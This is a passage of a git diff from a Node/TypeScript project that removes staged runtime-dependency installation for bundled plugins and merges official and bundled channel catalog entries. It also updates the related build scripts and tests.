tempNodeModulesDir, { - recursive: true, - dereference: true, - }); - fs.rmSync(path.join(tempNodeModulesDir, "playwright-core"), { - force: true, - recursive: true, - }); - - assert.ok(!fs.existsSync(path.join(tempNodeModulesDir, "playwright-core"))); - fs.mkdirSync(stageNodeModulesDir, { recursive: true }); - assert.deepEqual(fs.readdirSync(stageNodeModulesDir), []); - - const browserPackageJson = JSON.parse( - fs.readFileSync(path.join(tempDistDir, "extensions", "browser", "package.json"), "utf8"), - ); - const browserRuntimeDeps = new Map( - [ - ...Object.entries(browserPackageJson.dependencies ?? {}), - ...Object.entries(browserPackageJson.optionalDependencies ?? {}), - ].filter((entry) => typeof entry[1] === "string" && entry[1].length > 0), - ); - const missingBrowserRuntimeDeps = [...browserRuntimeDeps.keys()] - .filter((packageName) => { - const rootSentinel = path.join(tempNodeModulesDir, ...packageName.split("/"), "package.json"); - const stagedSentinel = path.join( - stageNodeModulesDir, - ...packageName.split("/"), - "package.json", - ); - return !fs.existsSync(rootSentinel) && !fs.existsSync(stagedSentinel); - }) - .toSorted((left, right) => left.localeCompare(right)); - - for (const packageName of missingBrowserRuntimeDeps) { - stageBrowserRuntimeDependencyStub(stageNodeModulesDir, packageName); - } - - return { - entryPath: findBuiltBrowserEntryPath(tempDistDir), - stageNodeModulesDir, - tempRoot, - }; -} - -function runNodeEval(params) { - return spawnSync(process.execPath, ["--input-type=module", "--eval", params.source], { - cwd: params.cwd, - encoding: "utf8", - env: params.env, - }); -} - -function runBuiltBrowserImportSmoke(packageRoot) { - const fixture = createBuiltBrowserImportSmokeFixture(packageRoot); - try { - assert.ok(fs.existsSync(fixture.entryPath), `missing built pw-ai entry: ${fixture.entryPath}`); - assert.ok( - !fs.existsSync(path.join(fixture.tempRoot, "node_modules", "playwright-core")), - "package-root playwright-core should be absent in the smoke fixture", - ); - assert.ok( - fs.existsSync(path.join(fixture.stageNodeModulesDir, "playwright-core", "package.json")), - "staged playwright-core should be present in the smoke fixture", - ); - - const rootEsmResult = runNodeEval({ - cwd: fixture.tempRoot, - env: { ...process.env, NODE_PATH: fixture.stageNodeModulesDir }, - source: - "await import('playwright-core')" + - ".then(() => { process.exitCode = 1; })" + - ".catch((error) => { if (error?.code !== 'ERR_MODULE_NOT_FOUND') throw error; });", - }); - assert.equal( - rootEsmResult.status, - 0, - [ - "[build-smoke] native ESM unexpectedly resolved staged playwright-core", - rootEsmResult.stdout.trim(), - rootEsmResult.stderr.trim(), - ] - .filter(Boolean) - .join("\n"), - ); - - const builtImportResult = runNodeEval({ - cwd: fixture.tempRoot, - env: { ...process.env, NODE_PATH: fixture.stageNodeModulesDir }, - source: `await import(${JSON.stringify(pathToFileURL(fixture.entryPath).href)});`, - }); - assert.equal( - builtImportResult.status, - 0, - [ - "[build-smoke] built browser pw-ai import failed", - `status=${String(builtImportResult.status)}`, - `signal=${String(builtImportResult.signal)}`, - builtImportResult.stdout.trim(), - builtImportResult.stderr.trim(), - ] - .filter(Boolean) - .join("\n"), - ); - } finally { - fs.rmSync(fixture.tempRoot, { recursive: true, force: true }); - } -} - -runBuiltBrowserImportSmoke(packageRoot); - -process.stdout.write( - `[build-smoke] bundled runtime dependency smoke passed packageRoot=${packageRoot}\n`, -); diff --git a/scripts/tsdown-build.mjs b/scripts/tsdown-build.mjs index ee68a183e81..7a5ccdc4944 100644 --- a/scripts/tsdown-build.mjs +++ b/scripts/tsdown-build.mjs @@ -4,7 +4,6 @@ import { spawn } from "node:child_process"; import fs from "node:fs"; import path from "node:path"; import { pathToFileURL } from "node:url"; -import { collectBundledPluginBuildEntries } from "./lib/bundled-plugin-build-entries.mjs"; import { BUNDLED_PLUGIN_PATH_PREFIX } from "./lib/bundled-plugin-paths.mjs"; import { resolvePnpmRunner } from "./pnpm-runner.mjs"; import { @@ -22,7 +21,6 @@ const DEFAULT_CAPTURE_BYTES = 8 * 1024 * 1024; const DEFAULT_HEARTBEAT_MS = 30_000; const TERMINATION_GRACE_MS = 5_000; const TSDOWN_OUTPUT_ROOTS = ["dist", "dist-runtime"]; -const DIST_RUNTIME_DEPS_ROOT = "extensions"; function removeDistPluginNodeModulesSymlinks(rootDir) { const extensionsDir = path.join(rootDir, "extensions"); @@ -56,17 +54,9 @@ function pruneStaleRuntimeSymlinks() { export function cleanTsdownOutputRoots(params = {}) { const cwd = params.cwd ?? process.cwd(); - const stagedRuntimeDependencyPluginIds = collectStagedRuntimeDependencyPluginIds({ - cwd, - env: params.env ?? process.env, - }); const fsImpl = params.fs ?? fs; for (const root of TSDOWN_OUTPUT_ROOTS) { const rootPath = path.join(cwd, root); - if (root === "dist") { - cleanDistOutputRoot(rootPath, stagedRuntimeDependencyPluginIds, fsImpl); - continue; - } try { fsImpl.rmSync(rootPath, { force: true, recursive: true }); } catch { @@ -75,86 +65,6 @@ export function cleanTsdownOutputRoots(params = {}) { } } -function collectStagedRuntimeDependencyPluginIds(params) { - try { - return new Set( - collectBundledPluginBuildEntries(params) - .filter(({ packageJson }) => shouldStageBundledPluginRuntimeDependencies(packageJson)) - .map(({ id }) => id), - ); - } catch { - return new Set(); - } -} - -function shouldStageBundledPluginRuntimeDependencies(packageJson) { - return packageJson?.openclaw?.bundle?.stageRuntimeDependencies === true; -} - -function cleanDistOutputRoot(distRoot, stagedRuntimeDependencyPluginIds, fsImpl) { - let entries = []; - try { - entries = fsImpl.readdirSync(distRoot, { withFileTypes: true }); - } catch { - return; - } - - for (const entry of entries) { - const entryPath = path.join(distRoot, entry.name); - try { - if (entry.isDirectory() && entry.name === DIST_RUNTIME_DEPS_ROOT) { - cleanDistExtensionsRoot(entryPath, stagedRuntimeDependencyPluginIds, fsImpl); - continue; - } - fsImpl.rmSync(entryPath, { force: true, recursive: true }); - } catch { - // Best-effort cleanup. tsdown will overwrite or recreate generated output. - } - } -} - -function cleanDistExtensionsRoot(extensionsDistRoot, stagedRuntimeDependencyPluginIds, fsImpl) { - let entries = []; - try { - entries = fsImpl.readdirSync(extensionsDistRoot, { withFileTypes: true }); - } catch { - return; - } - - for (const entry of entries) { - const pluginDistRoot = path.join(extensionsDistRoot, entry.name); - try { - if (!entry.isDirectory() || !stagedRuntimeDependencyPluginIds.has(entry.name)) { - fsImpl.rmSync(pluginDistRoot, { force: true, recursive: true }); - continue; - } - cleanDistPluginOutputRoot(pluginDistRoot, fsImpl); - } catch { - // Best-effort cleanup. Runtime postbuild validates current plugin metadata next. - } - } -} - -function cleanDistPluginOutputRoot(pluginDistRoot, fsImpl) { - let entries = []; - try { - entries = fsImpl.readdirSync(pluginDistRoot, { withFileTypes: true }); - } catch { - return; - } - - for (const entry of entries) { - if (entry.isDirectory() && entry.name === "node_modules") { - continue; - } - try { - fsImpl.rmSync(path.join(pluginDistRoot, entry.name), { force: true, recursive: true }); - } catch { - // Best-effort cleanup. tsdown/runtime-postbuild will rewrite generated files. - } - } -} - export function pruneStaleRootChunkFiles(params = {}) { const cwd = params.cwd ?? process.cwd(); const fsImpl = params.fs ?? fs; diff --git a/src/agents/runtime-plugins.test.ts b/src/agents/runtime-plugins.test.ts index 927655a2a53..4b0d1efddd4 100644 --- a/src/agents/runtime-plugins.test.ts +++ b/src/agents/runtime-plugins.test.ts @@ -48,7 +48,6 @@ describe("ensureRuntimePluginsLoaded", () => { expect(hoisted.resolveRuntimePluginRegistry).toHaveBeenCalledWith({ config: {} as never, - installBundledRuntimeDeps: false, workspaceDir: "/tmp/workspace", runtimeOptions: { allowGatewaySubagentBinding: true, @@ -64,7 +63,6 @@ describe("ensureRuntimePluginsLoaded", () => { expect(hoisted.resolveRuntimePluginRegistry).toHaveBeenCalledWith({ config: {} as never, - installBundledRuntimeDeps: false, workspaceDir: "/tmp/workspace", runtimeOptions: undefined, }); @@ -80,7 +78,6 @@ describe("ensureRuntimePluginsLoaded", () => { expect(hoisted.resolveRuntimePluginRegistry).toHaveBeenCalledWith({ config: {} as never, - installBundledRuntimeDeps: false, workspaceDir: "/tmp/workspace", runtimeOptions: { allowGatewaySubagentBinding: true, diff --git a/src/agents/runtime-plugins.ts b/src/agents/runtime-plugins.ts index 8860b8bd905..6838c258a5d 100644 --- a/src/agents/runtime-plugins.ts +++ b/src/agents/runtime-plugins.ts @@ -18,7 +18,6 @@ export function ensureRuntimePluginsLoaded(params: { const loadOptions = { config: params.config, workspaceDir, - installBundledRuntimeDeps: false, runtimeOptions: allowGatewaySubagentBinding ? { allowGatewaySubagentBinding: true, diff --git a/src/channels/bundled-channel-catalog-read.test.ts b/src/channels/bundled-channel-catalog-read.test.ts index 7a651822341..40db580a6df 100644 --- a/src/channels/bundled-channel-catalog-read.test.ts +++ b/src/channels/bundled-channel-catalog-read.test.ts @@ -63,8 +63,7 @@ describe("listBundledChannelCatalogEntries", () => { // Regression gate for the onboard crash on globally installed CLI: in a // published install, resolveBundledPluginsDir returns /dist/extensions. // Verify the loader iterates that tree and surfaces bundled channels such as - // telegram, which are not in dist/channel-catalog.json (filtered to - // release.publishToNpm === true) and therefore invisible to the fallback. + // telegram, even when they are not in dist/channel-catalog.json. const root = seedRoot("bcr-resolved-"); const extensionsRoot = path.join(root, "dist", "extensions"); seedChannelPkg(path.join(extensionsRoot, "telegram", "package.json"), { @@ -80,13 +79,42 @@ describe("listBundledChannelCatalogEntries", () => { const entries = listBundledChannelCatalogEntries(); - const ids = entries.map((entry) => entry.id).toSorted(); - expect(ids).toEqual(["imessage", "telegram"]); + const ids = entries.map((entry) => entry.id); + expect(ids).toEqual(expect.arrayContaining(["imessage", "telegram"])); const telegram = entries.find((entry) => entry.id === "telegram"); expect(telegram?.channel.docsPath).toBe("/channels/telegram"); expect(telegram?.channel.label).toBe("Telegram"); }); + it("merges downloadable official catalog channels with bundled channels", () => { + const root = seedRoot("bcr-merge-official-"); + const extensionsRoot = path.join(root, "dist", "extensions"); + seedChannelPkg(path.join(extensionsRoot, "telegram", "package.json"), { + id: "telegram", + docsPath: "/channels/telegram", + label: "Telegram", + }); + writeJsonFile(path.join(root, "dist", "channel-catalog.json"), { + entries: [ + { + name: "@openclaw/qqbot", + openclaw: { + channel: { + id: "qqbot", + label: "QQ Bot", + docsPath: "/channels/qqbot", + blurb: "downloadable channel", + }, + }, + }, + ], + }); + vi.mocked(resolveBundledPluginsDir).mockReturnValue(extensionsRoot); + + const entries = listBundledChannelCatalogEntries(); + expect(entries.map((entry) => entry.id)).toEqual(expect.arrayContaining(["qqbot", "telegram"])); + }); + it("falls back to dist/channel-catalog.json when the resolver returns undefined", () => { // OPENCLAW_DISABLE_BUNDLED_PLUGINS, missing bundled tree, or an unresolvable // package root all surface as undefined from resolveBundledPluginsDir. In diff --git a/src/channels/bundled-channel-catalog-read.ts b/src/channels/bundled-channel-catalog-read.ts index 6480ba3fd3c..8abcc456611 100644 --- a/src/channels/bundled-channel-catalog-read.ts +++ b/src/channels/bundled-channel-catalog-read.ts @@ -108,13 +108,18 @@ function toBundledChannelEntry(entry: ChannelCatalogEntryLike): BundledChannelCa } export function listBundledChannelCatalogEntries(): BundledChannelCatalogEntry[] { - const bundledEntries = readBundledExtensionCatalogEntriesSync() + const entries = new Map(); + for (const entry of readOfficialCatalogFileSync() .map((entry) => toBundledChannelEntry(entry)) - .filter((entry): entry is BundledChannelCatalogEntry => Boolean(entry)); - if (bundledEntries.length > 0) { - return bundledEntries; + .filter((entry): entry is BundledChannelCatalogEntry => Boolean(entry))) { + entries.set(entry.id, entry); } - return readOfficialCatalogFileSync() + for (const entry of readBundledExtensionCatalogEntriesSync() .map((entry) => toBundledChannelEntry(entry)) - .filter((entry): entry is BundledChannelCatalogEntry => Boolean(entry)); + .filter((entry): entry is BundledChannelCatalogEntry => Boolean(entry))) { + entries.set(entry.id, entry); + } + return Array.from(entries.values()).toSorted( + (left, right) => left.order - right.order || left.id.localeCompare(right.id), + ); } diff --git a/src/channels/ids.test.ts b/src/channels/ids.test.ts index 2bf4454b5b5..48be0a88226 100644 --- a/src/channels/ids.test.ts +++ b/src/channels/ids.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { listChannelCatalogEntries } from "../plugins/channel-catalog-registry.js"; +import { listBundledChannelCatalogEntries } from "./bundled-channel-catalog-read.js"; import { CHAT_CHANNEL_ALIASES, CHAT_CHANNEL_ORDER, @@ -7,20 +7,16 @@ import { type ChatChannelId, } from "./ids.js"; -function collectBundledChatChannelAliases(): Record { +function collectChatChannelAliases(): Record { const aliases = new Map(); - for (const entry of listChannelCatalogEntries({ origin: "bundled" })) { - const channel = entry.channel; - const rawId = channel?.id?.trim(); + for (const entry of listBundledChannelCatalogEntries()) { + const rawId = entry.id.trim(); if (!rawId || !CHAT_CHANNEL_ORDER.includes(rawId)) { continue; } const channelId = rawId; - if (!channel) { - continue; - } - for (const alias of channel.aliases ?? []) { + for (const alias of entry.aliases ?? []) { const normalizedAlias = alias.trim().toLowerCase(); if (!normalizedAlias) { continue; @@ -45,7 +41,7 @@ describe("channel ids", () => { expect(normalizeChatChannelId("nope")).toBeNull(); }); - it("matches bundled built-in channel alias metadata", () => { - expect(CHAT_CHANNEL_ALIASES).toEqual(collectBundledChatChannelAliases()); + it("matches channel catalog alias metadata", () => { + expect(CHAT_CHANNEL_ALIASES).toEqual(collectChatChannelAliases()); }); }); diff --git a/src/channels/plugins/bundled.shape-guard.test.ts b/src/channels/plugins/bundled.shape-guard.test.ts index 88c1b648b88..8959aa39343 100644 --- a/src/channels/plugins/bundled.shape-guard.test.ts +++ b/src/channels/plugins/bundled.shape-guard.test.ts @@ -1,7 +1,6 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; -import { pathToFileURL } from "node:url"; import { importFreshModule } from "openclaw/plugin-sdk/test-fixtures"; import { afterEach, describe, expect, it, vi } from "vitest"; import { loadPluginManifestRegistry } from "../../plugins/manifest-registry.js"; @@ -565,190 +564,6 @@ describe("bundled channel entry shape guards", () => { delete testGlobal.__bundledSetupOnlyPluginLoaded; } }); - - it("does not load bundled setup entries through external staged runtime deps during discovery", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-bundled-setup-runtime-deps-")); - const stageRoot = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-bundled-stage-")); - const previousBundledPluginsDir = process.env.OPENCLAW_BUNDLED_PLUGINS_DIR; - const previousPluginStageDir = process.env.OPENCLAW_PLUGIN_STAGE_DIR; - const pluginDir = path.join(root, "dist", "extensions", "alpha"); - const testGlobal = globalThis as typeof globalThis & { - __bundledSetupRuntimeDepMarker?: string; - }; - fs.mkdirSync(pluginDir, { recursive: true }); - fs.writeFileSync( - path.join(root, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.21" }), - "utf8", - ); - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "@openclaw/alpha", - version: "2026.4.21", - type: "module", - dependencies: { - "alpha-runtime-dep": "1.0.0", - }, - }), - "utf8", - ); - fs.writeFileSync( - path.join(pluginDir, "setup-entry.js"), - [ - "import { marker } from 'alpha-runtime-dep';", - "globalThis.__bundledSetupRuntimeDepMarker = marker;", - "export default {", - " kind: 'bundled-channel-setup-entry',", - " loadSetupPlugin() {", - " return { id: 'alpha', meta: { label: marker }, config: {} };", - " },", - "};", - "", - ].join("\n"), - "utf8", - ); - - process.env.OPENCLAW_PLUGIN_STAGE_DIR = stageRoot; - const { resolveBundledRuntimeDependencyInstallRoot } = - await import("../../plugins/bundled-runtime-deps-roots.js"); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginDir); - const depRoot = path.join(installRoot, "node_modules", "alpha-runtime-dep"); - fs.mkdirSync(depRoot, { recursive: true }); - fs.writeFileSync( - path.join(depRoot, "package.json"), - JSON.stringify({ - name: "alpha-runtime-dep", - version: "1.0.0", - type: "module", - main: "index.js", - }), - "utf8", - ); - fs.writeFileSync(path.join(depRoot, "index.js"), "export const marker = 'staged-alpha';\n"); - - mockAlphaDistExtensionRuntime(); - - try { - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = path.join(root, "dist", "extensions"); - - const bundled = await importFreshModule( - import.meta.url, - "./bundled.js?scope=bundled-setup-runtime-deps", - ); - - expect(bundled.getBundledChannelSetupPlugin("alpha")).toBeUndefined(); - expect(testGlobal.__bundledSetupRuntimeDepMarker).toBeUndefined(); - } finally { - restoreBundledPluginsDir(previousBundledPluginsDir); - if (previousPluginStageDir === undefined) { - delete process.env.OPENCLAW_PLUGIN_STAGE_DIR; - } else { - process.env.OPENCLAW_PLUGIN_STAGE_DIR = previousPluginStageDir; - } - fs.rmSync(root, { recursive: true, force: true }); - fs.rmSync(stageRoot, { recursive: true, force: true }); - delete testGlobal.__bundledSetupRuntimeDepMarker; - } - }); - - it("does not load bundled runtime entries through external staged runtime deps during discovery", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-bundled-runtime-deps-")); - const stageRoot = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-bundled-stage-")); - const previousBundledPluginsDir = process.env.OPENCLAW_BUNDLED_PLUGINS_DIR; - const previousPluginStageDir = process.env.OPENCLAW_PLUGIN_STAGE_DIR; - const pluginDir = path.join(root, "dist", "extensions", "alpha"); - const testGlobal = globalThis as typeof globalThis & { - __bundledRuntimeDepMarker?: string; - }; - fs.mkdirSync(pluginDir, { recursive: true }); - fs.writeFileSync( - path.join(root, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.21" }), - "utf8", - ); - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "@openclaw/alpha", - version: "2026.4.21", - type: "module", - dependencies: { - "alpha-runtime-dep": "1.0.0", - }, - }), - "utf8", - ); - fs.writeFileSync( - path.join(pluginDir, "plugin.js"), - [ - "import { marker } from 'alpha-runtime-dep';", - "globalThis.__bundledRuntimeDepMarker = marker;", - "export default { id: 'alpha', meta: { label: marker }, config: {} };", - "", - ].join("\n"), - "utf8", - ); - fs.writeFileSync( - path.join(pluginDir, "index.js"), - [ - `import { defineBundledChannelEntry } from ${JSON.stringify(pathToFileURL(path.resolve("src/plugin-sdk/channel-entry-contract.ts")).href)};`, - "export default defineBundledChannelEntry({", - " id: 'alpha',", - " name: 'Alpha',", - " description: 'Alpha',", - " importMetaUrl: import.meta.url,", - " features: { accountInspect: true },", - " plugin: { specifier: './plugin.js' },", - "});", - "", - ].join("\n"), - "utf8", - ); - - process.env.OPENCLAW_PLUGIN_STAGE_DIR = stageRoot; - const { resolveBundledRuntimeDependencyInstallRoot } = - await import("../../plugins/bundled-runtime-deps-roots.js"); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginDir); - const depRoot = path.join(installRoot, "node_modules", "alpha-runtime-dep"); - fs.mkdirSync(depRoot, { recursive: true }); - fs.writeFileSync( - path.join(depRoot, "package.json"), - JSON.stringify({ - name: "alpha-runtime-dep", - version: "1.0.0", - type: "module", - main: "index.js", - }), - "utf8", - ); - fs.writeFileSync(path.join(depRoot, "index.js"), "export const marker = 'staged-alpha';\n"); - - mockAlphaDistExtensionRuntime(); - - try { - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = path.join(root, "dist", "extensions"); - - const bundled = await importFreshModule( - import.meta.url, - "./bundled.js?scope=bundled-runtime-deps", - ); - - expect(bundled.hasBundledChannelEntryFeature("alpha", "accountInspect")).toBe(true); - expect(testGlobal.__bundledRuntimeDepMarker).toBeUndefined(); - } finally { - restoreBundledPluginsDir(previousBundledPluginsDir); - if (previousPluginStageDir === undefined) { - delete process.env.OPENCLAW_PLUGIN_STAGE_DIR; - } else { - process.env.OPENCLAW_PLUGIN_STAGE_DIR = previousPluginStageDir; - } - fs.rmSync(root, { recursive: true, force: true }); - fs.rmSync(stageRoot, { recursive: true, force: true }); - delete testGlobal.__bundledRuntimeDepMarker; - } - }); - it("swallows and caches bundled plugin and setup load failures", async () => { const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-bundled-load-failure-")); const previousBundledPluginsDir = process.env.OPENCLAW_BUNDLED_PLUGINS_DIR; @@ -924,28 +739,19 @@ describe("bundled channel entry shape guards", () => { expect(offenders).toEqual([]); }); - it("keeps staged runtime-dependency setup entries on setup-only plugin barrels", () => { + it("keeps setup-only plugin barrels off legacy staged runtime-dependency metadata", () => { const offenders: string[] = []; for (const extensionDir of bundledPluginRoots) { - const setupEntryPath = path.join(extensionDir, "setup-entry.ts"); const packageJsonPath = path.join(extensionDir, "package.json"); - if (!fs.existsSync(setupEntryPath) || !fs.existsSync(packageJsonPath)) { + if (!fs.existsSync(packageJsonPath)) { continue; } const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, "utf8")) as { - openclaw?: { - bundle?: { - stageRuntimeDependencies?: boolean; - }; - }; + openclaw?: { bundle?: Record }; }; - if (packageJson.openclaw?.bundle?.stageRuntimeDependencies !== true) { - continue; - } - const setupEntrySource = fs.readFileSync(setupEntryPath, "utf8"); - if (/specifier:\s*["']\.\/(?:api|channel-plugin-api)\.js["']/u.test(setupEntrySource)) { - offenders.push(path.relative(process.cwd(), setupEntryPath)); + if (packageJson.openclaw?.bundle?.stageRuntimeDependencies === true) { + offenders.push(path.relative(process.cwd(), packageJsonPath)); } } diff --git a/src/channels/plugins/bundled.ts b/src/channels/plugins/bundled.ts index 021b4e431e5..1ab2efa60de 100644 --- a/src/channels/plugins/bundled.ts +++ b/src/channels/plugins/bundled.ts @@ -12,10 +12,6 @@ import { resolveBundledChannelGeneratedPath, type BundledChannelPluginMetadata, } from "../../plugins/bundled-channel-runtime.js"; -import { - isBuiltBundledPluginRuntimeRoot, - prepareBundledPluginRuntimeRoot, -} from "../../plugins/bundled-runtime-root.js"; import { normalizePluginsConfig } from "../../plugins/config-state.js"; import { passesManifestOwnerBasePolicy } from "../../plugins/manifest-owner-policy.js"; import { unwrapDefaultModuleExport } from "../../plugins/module-export.js"; @@ -209,21 +205,6 @@ function loadGeneratedBundledChannelModule(params: { metadata: params.metadata, modulePath, }); - if (params.installRuntimeDeps !== false && isBuiltBundledPluginRuntimeRoot(boundaryRoot)) { - const prepared = prepareBundledPluginRuntimeRoot({ - pluginId: params.metadata.manifest.id, - pluginRoot: boundaryRoot, - modulePath, - env: process.env, - logInstalled: (installedSpecs) => { - log.debug( - `[channels] ${params.metadata.manifest.id} installed bundled runtime deps: ${installedSpecs.join(", ")}`, - ); - }, - }); - modulePath = prepared.modulePath; - boundaryRoot = prepared.pluginRoot; - } return loadChannelPluginModule({ modulePath, rootDir: boundaryRoot, @@ -551,9 +532,7 @@ function getBundledChannelPluginForRoot( loadContext.pluginLoadInProgressIds.add(id); try { const metadata = resolveBundledChannelMetadata(id, rootScope); - const plugin = entry.loadChannelPlugin({ installRuntimeDeps: false }) as - | ChannelPlugin - | undefined; + const plugin = entry.loadChannelPlugin() as ChannelPlugin | undefined; if (!plugin) { loadContext.lazyPluginsById.set(id, null); return undefined; @@ -592,7 +571,7 @@ function getBundledChannelSecretsForRoot( } try { const secrets = - entry.loadChannelSecrets?.({ installRuntimeDeps: false }) ?? + entry.loadChannelSecrets?.() ?? getBundledChannelPluginForRoot(id, rootScope, loadContext)?.secrets; loadContext.lazySecretsById.set(id, secrets ?? null); return secrets; @@ -618,7 +597,7 @@ function getBundledChannelAccountInspectorForRoot( return undefined; } try { - const inspector = entry.loadChannelAccountInspector({ installRuntimeDeps: false }); + const inspector = entry.loadChannelAccountInspector(); loadContext.lazyAccountInspectorsById.set(id, inspector); return inspector; } catch (error) { @@ -646,7 +625,7 @@ function getBundledChannelSetupPluginForRoot( } loadContext.setupPluginLoadInProgressIds.add(id); try { - const plugin = entry.loadSetupPlugin({ installRuntimeDeps: false }); + const plugin = entry.loadSetupPlugin(); loadContext.lazySetupPluginsById.set(id, plugin); return plugin; } catch (error) { @@ -673,7 +652,7 @@ function getBundledChannelSetupSecretsForRoot( } try { const secrets = - entry.loadSetupSecrets?.({ installRuntimeDeps: false }) ?? + entry.loadSetupSecrets?.() ?? getBundledChannelSetupPluginForRoot(id, rootScope, loadContext)?.secrets; loadContext.lazySetupSecretsById.set(id, secrets ?? null); return secrets; @@ -728,7 +707,7 @@ export function listBundledChannelLegacySessionSurfaces( config: options.config, }).flatMap((id) => { const setupEntry = getLazyGeneratedBundledChannelSetupEntryForRoot(id, rootScope, loadContext); - const surface = setupEntry?.loadLegacySessionSurface?.({ installRuntimeDeps: false }); + const surface = setupEntry?.loadLegacySessionSurface?.(); if (surface) { return [surface]; } @@ -750,7 +729,7 @@ export function listBundledChannelLegacyStateMigrationDetectors( config: options.config, }).flatMap((id) => { const setupEntry = getLazyGeneratedBundledChannelSetupEntryForRoot(id, rootScope, loadContext); - const detector = setupEntry?.loadLegacyStateMigrationDetector?.({ installRuntimeDeps: false }); + const detector = setupEntry?.loadLegacyStateMigrationDetector?.(); if (detector) { return [detector]; } diff --git a/src/cli/command-bootstrap.test.ts b/src/cli/command-bootstrap.test.ts index c077bd6947b..8a10523cf34 100644 --- a/src/cli/command-bootstrap.test.ts +++ b/src/cli/command-bootstrap.test.ts @@ -56,7 +56,6 @@ describe("ensureCliCommandBootstrap", () => { expect(ensureCliPluginRegistryLoadedMock).toHaveBeenCalledWith({ scope: "channels", routeLogsToStderr: true, - installBundledRuntimeDeps: false, }); }); @@ -73,7 +72,7 @@ describe("ensureCliCommandBootstrap", () => { }); }); - it("loads configured channel plugins without repairing runtime deps for read-only channel commands", async () => { + it("loads configured channel plugins without package-manager repair for read-only channel commands", async () => { await ensureCliCommandBootstrap({ runtime: {} as never, commandPath: ["channels", "resolve"], @@ -83,7 +82,6 @@ describe("ensureCliCommandBootstrap", () => { expect(ensureCliPluginRegistryLoadedMock).toHaveBeenCalledWith({ scope: "configured-channels", routeLogsToStderr: undefined, - installBundledRuntimeDeps: false, }); }); @@ -97,7 +95,6 @@ describe("ensureCliCommandBootstrap", () => { expect(ensureCliPluginRegistryLoadedMock).toHaveBeenCalledWith({ scope: "all", routeLogsToStderr: undefined, - installBundledRuntimeDeps: true, }); }); diff --git a/src/cli/command-bootstrap.ts b/src/cli/command-bootstrap.ts index f48dc37bda6..3a6b537acbb 100644 --- a/src/cli/command-bootstrap.ts +++ b/src/cli/command-bootstrap.ts @@ -36,10 +36,5 @@ export async function ensureCliCommandBootstrap(params: { await ensureCliPluginRegistryLoaded({ scope: pluginRegistryLoadPolicy.scope, routeLogsToStderr: params.suppressDoctorStdout, - ...(pluginRegistryLoadPolicy.installBundledRuntimeDeps !== undefined - ? { - installBundledRuntimeDeps: pluginRegistryLoadPolicy.installBundledRuntimeDeps, - } - : {}), }); } diff --git a/src/cli/command-catalog.ts b/src/cli/command-catalog.ts index e388b5c405b..ec67aa494fa 100644 --- a/src/cli/command-catalog.ts +++ b/src/cli/command-catalog.ts @@ -9,7 +9,6 @@ export type CliRouteConfigGuardPolicy = "never" | "always" | "when-suppressed"; export type CliPluginRegistryScope = "all" | "channels" | "configured-channels"; export type CliPluginRegistryPolicy = { scope: CliPluginRegistryScope; - installBundledRuntimeDeps?: boolean; }; export type CliNetworkProxyPolicy = "default" | "bypass"; export type CliNetworkProxyPolicyResolver = @@ -59,7 +58,7 @@ export const cliCommandCatalog: readonly CliCommandCatalogEntry[] = [ commandPath: ["agent"], policy: { loadPlugins: ({ argv, jsonOutputMode }) => hasFlag(argv, "--local") || !jsonOutputMode, - pluginRegistry: { scope: "all", installBundledRuntimeDeps: true }, + pluginRegistry: { scope: "all" }, networkProxy: ({ argv }) => (hasFlag(argv, "--local") ? "default" : "bypass"), }, }, @@ -113,7 +112,7 @@ export const cliCommandCatalog: readonly CliCommandCatalogEntry[] = [ commandPath: ["status"], policy: { loadPlugins: "never", - pluginRegistry: { scope: "channels", installBundledRuntimeDeps: false }, + pluginRegistry: { scope: "channels" }, routeConfigGuard: "when-suppressed", ensureCliPath: false, networkProxy: "bypass", @@ -124,7 +123,7 @@ export const cliCommandCatalog: readonly CliCommandCatalogEntry[] = [ commandPath: ["health"], policy: { loadPlugins: "never", - pluginRegistry: { scope: "channels", installBundledRuntimeDeps: false }, + pluginRegistry: { scope: "channels" }, ensureCliPath: false, networkProxy: "bypass", }, @@ -323,7 +322,7 @@ export const cliCommandCatalog: readonly CliCommandCatalogEntry[] = [ commandPath: ["channels", "remove"], exact: true, policy: { - pluginRegistry: { scope: "configured-channels", installBundledRuntimeDeps: false }, + pluginRegistry: { scope: "configured-channels" }, networkProxy: "bypass", }, }, @@ -331,7 +330,7 @@ export const cliCommandCatalog: readonly CliCommandCatalogEntry[] = [ commandPath: ["channels", "resolve"], exact: true, policy: { - pluginRegistry: { scope: "configured-channels", installBundledRuntimeDeps: false }, + pluginRegistry: { scope: "configured-channels" }, networkProxy: "bypass", }, }, diff --git a/src/cli/command-execution-startup.test.ts b/src/cli/command-execution-startup.test.ts index 851ce614c84..a93bd4ddc0b 100644 --- a/src/cli/command-execution-startup.test.ts +++ b/src/cli/command-execution-startup.test.ts @@ -47,7 +47,7 @@ describe("command-execution-startup", () => { hideBanner: false, skipConfigGuard: true, loadPlugins: false, - pluginRegistry: { scope: "channels", installBundledRuntimeDeps: false }, + pluginRegistry: { scope: "channels" }, }, }); }); @@ -153,7 +153,7 @@ describe("command-execution-startup", () => { hideBanner: false, skipConfigGuard: true, loadPlugins: false, - pluginRegistry: { scope: "channels", installBundledRuntimeDeps: false }, + pluginRegistry: { scope: "channels" }, }, }); @@ -163,7 +163,7 @@ describe("command-execution-startup", () => { suppressDoctorStdout: true, allowInvalid: undefined, loadPlugins: false, - pluginRegistry: { scope: "channels", installBundledRuntimeDeps: false }, + pluginRegistry: { scope: "channels" }, skipConfigGuard: true, }); diff --git a/src/cli/command-path-policy.test.ts b/src/cli/command-path-policy.test.ts index ab00df9618c..66d766a0c09 100644 